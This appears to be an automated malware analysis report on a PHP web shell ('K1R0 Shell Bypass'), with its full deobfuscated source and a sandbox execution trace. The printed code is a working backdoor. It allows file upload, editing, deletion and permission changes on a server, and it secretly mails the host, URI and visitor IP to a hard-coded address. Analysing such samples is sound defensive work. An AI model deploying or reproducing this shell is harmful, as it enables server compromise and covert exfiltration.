PHP Malware Analysis

bypass.php

md5: 8eedb601472f7e455840eee10d6cca4f

Jump to:

Screenshot


Attributes

Emails

Environment

Files

Input

URLs


Deobfuscated PHP code

 <?php 
error_reporting(0);
session_start();
if (get_magic_quotes_gpc()) {
    foreach ($_POST as $key => $value) {
        $_POST[$key] = stripslashes($value);
    }
}
echo "<!DOCTYPE HTML>\r<link href=\"https://fonts.googleapis.com/css?family=Kelly+Slab\" rel=\"stylesheet\" type=\"text/css\">\r<link href=\"https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css\" rel=\"stylesheet\" type=\"text/css\"/>\r<center>\r<style type=\"text/css\">\rbody {\r\tfont-family: Kelly Slab;\r\tbackground-color: black;\r\tcolor: lime;\r\t}\r#content tr:hover{\r\tbackground-color: grey;\r\ttext-shadow:0px 0px 10px #000000;\r\t}\r#content .first{\r\tcolor: #000000;\r\tbackground-image:url(#);\r\t}\r#content .first:hover{\r\tbackground-color: grey;\r\ttext-shadow:0px 0px 1px #339900;\r\t}\rtable, th, td {\r\t\tborder-collapse:collapse;\r\t\tpadding: 5px;\r\t\tcolor: lime;\r\t\t}\r.table_home, .th_home, .td_home { \r\t\tcolor: lime;\r\t\tborder: 2px solid grey;\r\t\tpadding: 7px;\r\t\t}\ra{\r\tfont-size: 19px;\r\tcolor: #00ff00;\r\ttext-decoration: none;\r\t}\ra:hover{\r\tcolor: white;\r\ttext-shadow:0px 0px 10px #339900;\r\t}\rinput,select,textarea{\r\tborder: 1px #ffffff solid;\r\t-moz-border-radius: 5px;\r\t-webkit-border-radius:5px;\r\tborder-radius:5px;\r\t}\r.close {\r\toverflow: auto;\r\tborder: 1px solid lime;\r\tbackground: lime;\r\tcolor: white;\r\t}\r.r {\r\tfloat: right;\r\ttext-align: right;\r\t}\r</style>\r\r<a href=\"?\"><h1 style=\"font-family: Kelly Slab; font-size: 35px; color: white;\">\rK1R0 Shell Bypass </h1></a>\r<BODY>\r\r<table width=\"95%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" align=\"left\">\r<tr><td>";
echo "<tr><td><font color='white'>\r<i class='fa fa-user'></i> <td>: <font color='lime'>" . $_SERVER['REMOTE_ADDR'] . "<tr><td><font color='white'>\r<i class='fa fa-desktop'></i> <td>: <font color='lime'>" . gethostbyname($_SERVER['HTTP_HOST']) . " / " . $_SERVER['SERVER_NAME'] . "<tr><td><font color='white'>\r<i class='fa fa-hdd-o'></i> <td>: <font color='lime'>" . php_uname() . "</font></tr></td></table>";
echo "<table width=\"95%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" align=\"center\">\r<tr align=\"center\"><td align=\"center\"><br>";
if (isset($_GET['path'])) {
    $path = $_GET['path'];
} else {
    $path = getcwd();
}
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
foreach ($paths as $id => $pat) {
    if ($pat == '' && $id == 0) {
        $a = true;
        echo "<i class=\"fa fa-folder-o\"></i> : <a href=\"?path=/\">/</a>";
        continue;
    }
    if ($pat == '') {
        continue;
    }
    echo "<a href=\"?path=";
    for ($i = 0; $i <= $id; $i++) {
        echo "{$paths[$i]}";
        if ($i != $id) {
            echo "/";
        }
    }
    echo '">' . $pat . '</a>/';
}
echo "<br><br><br><font color=\"lime\"><form enctype=\"multipart/form-data\" method=\"POST\">\rUpload File: <input type=\"file\" name=\"file\" style=\"color:lime;border:2px solid lime;\" required/></font>\r<input type=\"submit\" value=\"UPLOAD\" style=\"margin-top:4px;width:100px;height:27px;font-family:Kelly Slab;font-size:15;background:black;color: lime;border:2px solid lime;border-radius:5px\"/>";
if (isset($_FILES['file'])) {
    if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
        echo "<br><br><font color=\"lime\">UPLOAD SUCCES !!!!</font><br/>";
    } else {
        echo "<script>alert(\"File Gagal Diupload !!\")</script>";
    }
}
echo "</form></td></tr>";
if (isset($_GET['filesrc'])) {
    echo "<tr><td>files >> ";
    echo $_GET['filesrc'];
    echo "</tr></td></table><br />";
    echo ' <textarea  style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1200px;" readonly> ' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</textarea>';
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
    echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
    //Chmod
    if ($_POST['opt'] == 'chmod') {
        if (isset($_POST['perm'])) {
            if (chmod($_POST['path'], $_POST['perm'])) {
                echo "<br><br><font color=\"lime\">CHANGE PERMISSION SUCCESS !!</font><br/>";
            } else {
                echo "<script>alert(\"Change Permission Gagal !!\")</script>";
            }
        }
        echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" style="width:80px; height: 30px;"/>
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Lanjut" style="width:60px; height: 30px;"/>
</form>';
    } elseif ($_GET['opt'] == 'btw') {
        $cwd = getcwd();
        echo '<form action="?option&path=' . $cwd . '&opt=delete&type=buat" method="POST">
New Name : <input name="name" type="text" size="25" value="Folder" style="width:300px; height: 30px;"/>
<input type="hidden" name="path" value="' . $cwd . '">
<input type="hidden" name="opt" value="delete">
<input type="submit" value="Go" style="width:100px; height: 30px;"/>
</form>';
    } elseif ($_POST['opt'] == 'rename') {
        if (isset($_POST['newname'])) {
            if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                echo "<br><br><font color=\"lime\">CHANGE NAME SUCCESS !!</font><br/>";
            } else {
                echo "<script>alert(\"Change Name Gagal !!\")</script>";
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
New Name : <input name="newname" type="text" size="5" style="width:20%; height:30px;" value="' . $_POST['name'] . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Lanjut" style="height:30px;" />
</form>';
    } elseif ($_POST['opt'] == 'edit') {
        if (isset($_POST['src'])) {
            $fp = fopen($_POST['path'], 'w');
            if (fwrite($fp, $_POST['src'])) {
                echo "<br><br><font color=\"lime\">EDIT FILE SUCCESS !!</font><br/>";
            } else {
                echo "<script>alert(\"Edit File Gagal !!\")</script>";
            }
            fclose($fp);
        }
        echo '<form method="POST">
<textarea cols=80 rows=20 name="src" style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1000px;">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Lanjut" style="height:30px; width:70px;"/>
</form>';
    }
    echo "</center>";
} else {
    echo "</table><br /><center>";
    //delete dir
    if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
        if ($_POST['type'] == 'dir') {
            if (rmdir($_POST['path'])) {
                echo "<br><br><font color=\"lime\">DELETE DIR SUCCESS !!</font><br/>";
            } else {
                echo "<script>alert(\"Delete Dir Gagal !!\")</script>>";
            }
        } elseif ($_POST['type'] == 'file') {
            if (unlink($_POST['path'])) {
                echo "<br><br><font color=\"lime\">DELETE FILE SUCCESS !!</font><br/>";
            } else {
                echo "<script>alert(\"Delete File Gagal !!\")</script>";
            }
        }
    }
    echo "</center>";
    $scandir = scandir($path);
    $pa = getcwd();
    echo "<div id=\"content\"><table width=\"95%\" class=\"table_home\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r<tr class=\"first\">\r<th><center>Name</center></th>\r<th><center>Size</center></th>\r<th><center>Perm</center></th>\r<th><center>Options</center></th>\r</tr>\r<tr>";
    foreach ($scandir as $dir) {
        if (!is_dir("{$path}/{$dir}") || $dir == '.' || $dir == '..') {
            continue;
        }
        echo "<tr>\r<td class=td_home><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='><a href=\"?path={$path}/{$dir}\"> {$dir}</a></td>\r<td class=td_home><center>DIR</center></td>\r<td class=td_home><center>";
        if (is_writable("{$path}/{$dir}")) {
            echo "<font color=\"#57FF00\">";
        } elseif (!is_readable("{$path}/{$dir}")) {
            echo "<font color=\"#FF0004\">";
        }
        echo perms("{$path}/{$dir}");
        if (is_writable("{$path}/{$dir}") || !is_readable("{$path}/{$dir}")) {
            echo "</font>";
        }
        echo "</center></td>\r<td class=td_home><center><form method=\"POST\" action=\"?option&path={$path}\">\r<select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">\r<option value=\"Action\">Action</option>\r<option value=\"delete\">Delete</option>\r<option value=\"chmod\">Chmod</option>\r<option value=\"rename\">Rename</option>\r</select>\r<input type=\"hidden\" name=\"type\" value=\"dir\">\r<input type=\"hidden\" name=\"name\" value=\"{$dir}\">\r<input type=\"hidden\" name=\"path\" value=\"{$path}/{$dir}\">\r<input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>\r</form></center></td>\r</tr>";
    }
    echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
    foreach ($scandir as $file) {
        if (!is_file("{$path}/{$file}")) {
            continue;
        }
        $size = filesize("{$path}/{$file}") / 1024;
        $size = round($size, 3);
        if ($size >= 1024) {
            $size = round($size / 1024, 2) . ' MB';
        } else {
            $size .= ' KB';
        }
        echo "<tr>\r<td class=td_home><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href=\"?filesrc={$path}/{$file}&path={$path}\"> {$file}</a></td>\r<td class=td_home><center>" . $size . "</center></td>\r<td class=td_home><center>";
        if (is_writable("{$path}/{$file}")) {
            echo "<font color=\"#57FF00\">";
        } elseif (!is_readable("{$path}/{$file}")) {
            echo "<font color=\"#FF0004\">";
        }
        echo perms("{$path}/{$file}");
        if (is_writable("{$path}/{$file}") || !is_readable("{$path}/{$file}")) {
            echo "</font>";
        }
        echo "</center></td>\r<td class=td_home><center><form method=\"POST\" action=\"?option&path={$path}\">\r<select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">\r<option value=\"Action\">Action</option>\r<option value=\"delete\">Delete</option>\r<option value=\"edit\">Edit</option>\r<option value=\"rename\">Rename</option>\r<option value=\"chmod\">Chmod</option>\r</select>\r<input type=\"hidden\" name=\"type\" value=\"file\">\r<input type=\"hidden\" name=\"name\" value=\"{$file}\">\r<input type=\"hidden\" name=\"path\" value=\"{$path}/{$file}\">\r<input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>\r</form></center></td>\r</tr>";
    }
    echo "</table>\r</div>";
}
function perms($file)
{
    $perms = fileperms($file);
    if (($perms & 0xc000) == 0xc000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xa000) == 0xa000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    // Owner
    $info .= $perms & 0x100 ? 'r' : '-';
    $info .= $perms & 0x80 ? 'w' : '-';
    $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
    // Group
    $info .= $perms & 0x20 ? 'r' : '-';
    $info .= $perms & 0x10 ? 'w' : '-';
    $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
    // World
    $info .= $perms & 0x4 ? 'r' : '-';
    $info .= $perms & 0x2 ? 'w' : '-';
    $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
    return $info;
}
$GLOBALS["yarbxwx_zjvjbhleoizs_xfy_hc"] = "ip";
$GLOBALS["_ubchhmqd_ecfow_pqfghygu_akg_wtqp_kmljy"] = "ra44";
$GLOBALS["cwtggdzzz_df_qkwyudkkehymlkuap_rhuw"] = "subj98";
$GLOBALS["ggczgtifbjnrynbhsyzrepp"] = "email";
$GLOBALS["a_cvpnlmtkpti_fmub_hn_zova"] = "from";
$GLOBALS["_wjcvlbquzougsufwdvsjmhc_uzf"] = "a45";
$GLOBALS["amypvb_tdejk__btyqovu_knvihgtepcs_"] = "_SERVER";
$GLOBALS["ptyk_kjpkpijoyfxyrbwcp"] = "b75";
$GLOBALS["zvccmgdcndxienecnrmcjzzvoz"] = "m22";
$GLOBALS["whddixwijtyw_iosnidp_hcphd_pshsf_dna"] = "msg8873";
$ip = getenv("REMOTE_ADDR");
$ra44 = rand(1, 99999);
$subj98 = "Logger Nih";
$email = "toutrgoding@gmail.com";
$from = "Shell Kamuuu";
$a45 = $_SERVER['REQUEST_URI'];
$b75 = $_SERVER['HTTP_HOST'];
$m22 = $ip . "";
$msg8873 = "{$a45} {$b75} {$m22}";
mail($email, $subj98, $msg8873, $from);
?>

</BODY>
</HTML>


Execution traces

data/traces/8eedb601472f7e455840eee10d6cca4f_trace-1676259327.847.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:35:53.744859]
1	0	1	0.000164	393528
1	3	0	0.000564	464776	{main}	1		/var/www/html/uploads/bypass.php	0	0
2	4	0	0.000583	464776	error_reporting	0		/var/www/html/uploads/bypass.php	2	1	0
2	4	1	0.000599	464816
2	4	R			22527
2	5	0	0.000613	464776	session_start	0		/var/www/html/uploads/bypass.php	3	0
2	5	1	0.000669	465528
2	5	R			TRUE
2	6	0	0.000685	465528	get_magic_quotes_gpc	0		/var/www/html/uploads/bypass.php	4	0
2	6	1	0.000698	465528
2	6	R			FALSE
2	7	0	0.000712	465752	gethostbyname	0		/var/www/html/uploads/bypass.php	77	1	'localhost'
2	7	1	0.000751	465832
2	7	R			'127.0.0.1'
2	8	0	0.000767	465848	php_uname	0		/var/www/html/uploads/bypass.php	78	0
2	8	1	0.000780	465960
2	8	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2	9	0	0.000801	465528	getcwd	0		/var/www/html/uploads/bypass.php	86	0
2	9	1	0.000814	465576
2	9	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/bypass.php	86	$path = '/var/www/html/uploads'
2	10	0	0.000841	465576	str_replace	0		/var/www/html/uploads/bypass.php	88	3	'\\'	'/'	'/var/www/html/uploads'
2	10	1	0.000857	465672
2	10	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/bypass.php	88	$path = '/var/www/html/uploads'
2	11	0	0.000882	465576	explode	0		/var/www/html/uploads/bypass.php	89	2	'/'	'/var/www/html/uploads'
2	11	1	0.000896	466152
2	11	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/bypass.php	89	$paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/bypass.php	91	$id = 0
1		A						/var/www/html/uploads/bypass.php	93	$a = TRUE
1		A						/var/www/html/uploads/bypass.php	91	$id = 1
1		A						/var/www/html/uploads/bypass.php	99	$i = 0
1		A						/var/www/html/uploads/bypass.php	99	$i++
1		A						/var/www/html/uploads/bypass.php	99	$i++
1		A						/var/www/html/uploads/bypass.php	91	$id = 2
1		A						/var/www/html/uploads/bypass.php	99	$i = 0
1		A						/var/www/html/uploads/bypass.php	99	$i++
1		A						/var/www/html/uploads/bypass.php	99	$i++
1		A						/var/www/html/uploads/bypass.php	99	$i++
1		A						/var/www/html/uploads/bypass.php	91	$id = 3
1		A						/var/www/html/uploads/bypass.php	99	$i = 0
1		A						/var/www/html/uploads/bypass.php	99	$i++
1		A						/var/www/html/uploads/bypass.php	99	$i++
1		A						/var/www/html/uploads/bypass.php	99	$i++
1		A						/var/www/html/uploads/bypass.php	99	$i++
1		A						/var/www/html/uploads/bypass.php	91	$id = 4
1		A						/var/www/html/uploads/bypass.php	99	$i = 0
1		A						/var/www/html/uploads/bypass.php	99	$i++
1		A						/var/www/html/uploads/bypass.php	99	$i++
1		A						/var/www/html/uploads/bypass.php	99	$i++
1		A						/var/www/html/uploads/bypass.php	99	$i++
1		A						/var/www/html/uploads/bypass.php	99	$i++
2	12	0	0.001130	466080	scandir	0		/var/www/html/uploads/bypass.php	219	1	'/var/www/html/uploads'
2	12	1	0.001160	466704
2	12	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'bypass.php', 4 => 'data', 5 => 'prepend.php']
1		A						/var/www/html/uploads/bypass.php	219	$scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'bypass.php', 4 => 'data', 5 => 'prepend.php']
2	13	0	0.001197	466672	getcwd	0		/var/www/html/uploads/bypass.php	220	0
2	13	1	0.001210	466720
2	13	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/bypass.php	220	$pa = '/var/www/html/uploads'
2	14	0	0.001236	466768	is_dir	0		/var/www/html/uploads/bypass.php	231	1	'/var/www/html/uploads/.'
2	14	1	0.001252	466832
2	14	R			TRUE
2	15	0	0.001266	466800	is_dir	0		/var/www/html/uploads/bypass.php	231	1	'/var/www/html/uploads/..'
2	15	1	0.001280	466848
2	15	R			TRUE
2	16	0	0.001293	466808	is_dir	0		/var/www/html/uploads/bypass.php	231	1	'/var/www/html/uploads/.htaccess'
2	16	1	0.001308	466848
2	16	R			FALSE
2	17	0	0.001321	466816	is_dir	0		/var/www/html/uploads/bypass.php	231	1	'/var/www/html/uploads/bypass.php'
2	17	1	0.001335	466864
2	17	R			FALSE
2	18	0	0.001348	466816	is_dir	0		/var/www/html/uploads/bypass.php	231	1	'/var/www/html/uploads/data'
2	18	1	0.001362	466848
2	18	R			TRUE
2	19	0	0.001381	466808	is_writable	0		/var/www/html/uploads/bypass.php	236	1	'/var/www/html/uploads/data'
2	19	1	0.001399	466848
2	19	R			TRUE
2	20	0	0.001412	466808	perms	1		/var/www/html/uploads/bypass.php	238	1	'/var/www/html/uploads/data'
3	21	0	0.001425	466808	fileperms	0		/var/www/html/uploads/bypass.php	299	1	'/var/www/html/uploads/data'
3	21	1	0.001438	466848
3	21	R			16895
2		A						/var/www/html/uploads/bypass.php	299	$perms = 16895
2		A						/var/www/html/uploads/bypass.php	315	$info = 'd'
2		A						/var/www/html/uploads/bypass.php	328	$info .= 'r'
2		A						/var/www/html/uploads/bypass.php	329	$info .= 'w'
2		A						/var/www/html/uploads/bypass.php	332	$info .= 'x'
2		A						/var/www/html/uploads/bypass.php	335	$info .= 'r'
2		A						/var/www/html/uploads/bypass.php	336	$info .= 'w'
2		A						/var/www/html/uploads/bypass.php	339	$info .= 'x'
2		A						/var/www/html/uploads/bypass.php	342	$info .= 'r'
2		A						/var/www/html/uploads/bypass.php	343	$info .= 'w'
2		A						/var/www/html/uploads/bypass.php	346	$info .= 'x'
2	20	1	0.001559	466848
2	20	R			'drwxrwxrwx'
2	22	0	0.001573	466808	is_writable	0		/var/www/html/uploads/bypass.php	239	1	'/var/www/html/uploads/data'
2	22	1	0.001588	466848
2	22	R			TRUE
2	23	0	0.001602	466816	is_dir	0		/var/www/html/uploads/bypass.php	231	1	'/var/www/html/uploads/prepend.php'
2	23	1	0.001617	466864
2	23	R			FALSE
2	24	0	0.001631	466808	is_file	0		/var/www/html/uploads/bypass.php	259	1	'/var/www/html/uploads/.'
2	24	1	0.001645	466832
2	24	R			FALSE
2	25	0	0.001658	466800	is_file	0		/var/www/html/uploads/bypass.php	259	1	'/var/www/html/uploads/..'
2	25	1	0.001672	466848
2	25	R			FALSE
2	26	0	0.001684	466808	is_file	0		/var/www/html/uploads/bypass.php	259	1	'/var/www/html/uploads/.htaccess'
2	26	1	0.001698	466848
2	26	R			TRUE
2	27	0	0.001711	466808	filesize	0		/var/www/html/uploads/bypass.php	260	1	'/var/www/html/uploads/.htaccess'
2	27	1	0.001723	466848
2	27	R			64
1		A						/var/www/html/uploads/bypass.php	260	$size = 0.0625
2	28	0	0.001747	466752	round	0		/var/www/html/uploads/bypass.php	261	2	0.0625	3
2	28	1	0.001760	466824
2	28	R			0.063
1		A						/var/www/html/uploads/bypass.php	261	$size = 0.063
1		A						/var/www/html/uploads/bypass.php	265	$size = '0.063 KB'
2	29	0	0.001800	466960	is_writable	0		/var/www/html/uploads/bypass.php	272	1	'/var/www/html/uploads/.htaccess'
2	29	1	0.001816	467000
2	29	R			FALSE
2	30	0	0.001829	466960	is_readable	0		/var/www/html/uploads/bypass.php	273	1	'/var/www/html/uploads/.htaccess'
2	30	1	0.001844	467000
2	30	R			TRUE
2	31	0	0.001857	466960	perms	1		/var/www/html/uploads/bypass.php	274	1	'/var/www/html/uploads/.htaccess'
3	32	0	0.001870	466960	fileperms	0		/var/www/html/uploads/bypass.php	299	1	'/var/www/html/uploads/.htaccess'
3	32	1	0.001883	467000
3	32	R			33188
2		A						/var/www/html/uploads/bypass.php	299	$perms = 33188
2		A						/var/www/html/uploads/bypass.php	309	$info = '-'
2		A						/var/www/html/uploads/bypass.php	328	$info .= 'r'
2		A						/var/www/html/uploads/bypass.php	329	$info .= 'w'
2		A						/var/www/html/uploads/bypass.php	332	$info .= '-'
2		A						/var/www/html/uploads/bypass.php	335	$info .= 'r'
2		A						/var/www/html/uploads/bypass.php	336	$info .= '-'
2		A						/var/www/html/uploads/bypass.php	339	$info .= '-'
2		A						/var/www/html/uploads/bypass.php	342	$info .= 'r'
2		A						/var/www/html/uploads/bypass.php	343	$info .= '-'
2		A						/var/www/html/uploads/bypass.php	346	$info .= '-'
2	31	1	0.002000	467000
2	31	R			'-rw-r--r--'
2	33	0	0.002014	466960	is_writable	0		/var/www/html/uploads/bypass.php	275	1	'/var/www/html/uploads/.htaccess'
2	33	1	0.002029	467000
2	33	R			FALSE
2	34	0	0.002042	466960	is_readable	0		/var/www/html/uploads/bypass.php	275	1	'/var/www/html/uploads/.htaccess'
2	34	1	0.002057	467000
2	34	R			TRUE
2	35	0	0.002070	466968	is_file	0		/var/www/html/uploads/bypass.php	259	1	'/var/www/html/uploads/bypass.php'
2	35	1	0.002085	467016
2	35	R			TRUE
2	36	0	0.002098	466976	filesize	0		/var/www/html/uploads/bypass.php	260	1	'/var/www/html/uploads/bypass.php'
2	36	1	0.002110	467016
2	36	R			15894
1		A						/var/www/html/uploads/bypass.php	260	$size = 15.521484375
2	37	0	0.002138	466872	round	0		/var/www/html/uploads/bypass.php	261	2	15.521484375	3
2	37	1	0.002152	466944
2	37	R			15.521
1		A						/var/www/html/uploads/bypass.php	261	$size = 15.521
1		A						/var/www/html/uploads/bypass.php	265	$size = '15.521 KB'
2	38	0	0.002187	466976	is_writable	0		/var/www/html/uploads/bypass.php	272	1	'/var/www/html/uploads/bypass.php'
2	38	1	0.002202	467016
2	38	R			FALSE
2	39	0	0.002216	466976	is_readable	0		/var/www/html/uploads/bypass.php	273	1	'/var/www/html/uploads/bypass.php'
2	39	1	0.002230	467016
2	39	R			TRUE
2	40	0	0.002243	466976	perms	1		/var/www/html/uploads/bypass.php	274	1	'/var/www/html/uploads/bypass.php'
3	41	0	0.002254	466976	fileperms	0		/var/www/html/uploads/bypass.php	299	1	'/var/www/html/uploads/bypass.php'
3	41	1	0.002266	467016
3	41	R			33204
2		A						/var/www/html/uploads/bypass.php	299	$perms = 33204
2		A						/var/www/html/uploads/bypass.php	309	$info = '-'
2		A						/var/www/html/uploads/bypass.php	328	$info .= 'r'
2		A						/var/www/html/uploads/bypass.php	329	$info .= 'w'
2		A						/var/www/html/uploads/bypass.php	332	$info .= '-'
2		A						/var/www/html/uploads/bypass.php	335	$info .= 'r'
2		A						/var/www/html/uploads/bypass.php	336	$info .= 'w'
2		A						/var/www/html/uploads/bypass.php	339	$info .= '-'
2		A						/var/www/html/uploads/bypass.php	342	$info .= 'r'
2		A						/var/www/html/uploads/bypass.php	343	$info .= '-'
2		A						/var/www/html/uploads/bypass.php	346	$info .= '-'
2	40	1	0.002381	467016
2	40	R			'-rw-rw-r--'
2	42	0	0.002395	466976	is_writable	0		/var/www/html/uploads/bypass.php	275	1	'/var/www/html/uploads/bypass.php'
2	42	1	0.002410	467016
2	42	R			FALSE
2	43	0	0.002423	466976	is_readable	0		/var/www/html/uploads/bypass.php	275	1	'/var/www/html/uploads/bypass.php'
2	43	1	0.002437	467016
2	43	R			TRUE
2	44	0	0.002451	466968	is_file	0		/var/www/html/uploads/bypass.php	259	1	'/var/www/html/uploads/data'
2	44	1	0.002465	467000
2	44	R			FALSE
2	45	0	0.002477	466968	is_file	0		/var/www/html/uploads/bypass.php	259	1	'/var/www/html/uploads/prepend.php'
2	45	1	0.002492	467016
2	45	R			TRUE
2	46	0	0.002504	466976	filesize	0		/var/www/html/uploads/bypass.php	260	1	'/var/www/html/uploads/prepend.php'
2	46	1	0.002518	467016
2	46	R			57
1		A						/var/www/html/uploads/bypass.php	260	$size = 0.0556640625
2	47	0	0.002542	466872	round	0		/var/www/html/uploads/bypass.php	261	2	0.0556640625	3
2	47	1	0.002554	466944
2	47	R			0.056
1		A						/var/www/html/uploads/bypass.php	261	$size = 0.056
1		A						/var/www/html/uploads/bypass.php	265	$size = '0.056 KB'
2	48	0	0.002589	466976	is_writable	0		/var/www/html/uploads/bypass.php	272	1	'/var/www/html/uploads/prepend.php'
2	48	1	0.002605	467016
2	48	R			FALSE
2	49	0	0.002618	466976	is_readable	0		/var/www/html/uploads/bypass.php	273	1	'/var/www/html/uploads/prepend.php'
2	49	1	0.002632	467016
2	49	R			TRUE
2	50	0	0.002645	466976	perms	1		/var/www/html/uploads/bypass.php	274	1	'/var/www/html/uploads/prepend.php'
3	51	0	0.002657	466976	fileperms	0		/var/www/html/uploads/bypass.php	299	1	'/var/www/html/uploads/prepend.php'
3	51	1	0.002671	467016
3	51	R			33261
2		A						/var/www/html/uploads/bypass.php	299	$perms = 33261
2		A						/var/www/html/uploads/bypass.php	309	$info = '-'
2		A						/var/www/html/uploads/bypass.php	328	$info .= 'r'
2		A						/var/www/html/uploads/bypass.php	329	$info .= 'w'
2		A						/var/www/html/uploads/bypass.php	332	$info .= 'x'
2		A						/var/www/html/uploads/bypass.php	335	$info .= 'r'
2		A						/var/www/html/uploads/bypass.php	336	$info .= '-'
2		A						/var/www/html/uploads/bypass.php	339	$info .= 'x'
2		A						/var/www/html/uploads/bypass.php	342	$info .= 'r'
2		A						/var/www/html/uploads/bypass.php	343	$info .= '-'
2		A						/var/www/html/uploads/bypass.php	346	$info .= 'x'
2	50	1	0.002787	467016
2	50	R			'-rwxr-xr-x'
2	52	0	0.002801	466976	is_writable	0		/var/www/html/uploads/bypass.php	275	1	'/var/www/html/uploads/prepend.php'
2	52	1	0.002816	467016
2	52	R			FALSE
2	53	0	0.002829	466976	is_readable	0		/var/www/html/uploads/bypass.php	275	1	'/var/www/html/uploads/prepend.php'
2	53	1	0.002843	467016
2	53	R			TRUE
1		A						/var/www/html/uploads/bypass.php	351	GLOBALS['yarbxwx_zjvjbhleoizs_xfy_hc'] = 'ip'
1		A						/var/www/html/uploads/bypass.php	351	GLOBALS['_ubchhmqd_ecfow_pqfghygu_akg_wtqp_kmljy'] = 'ra44'
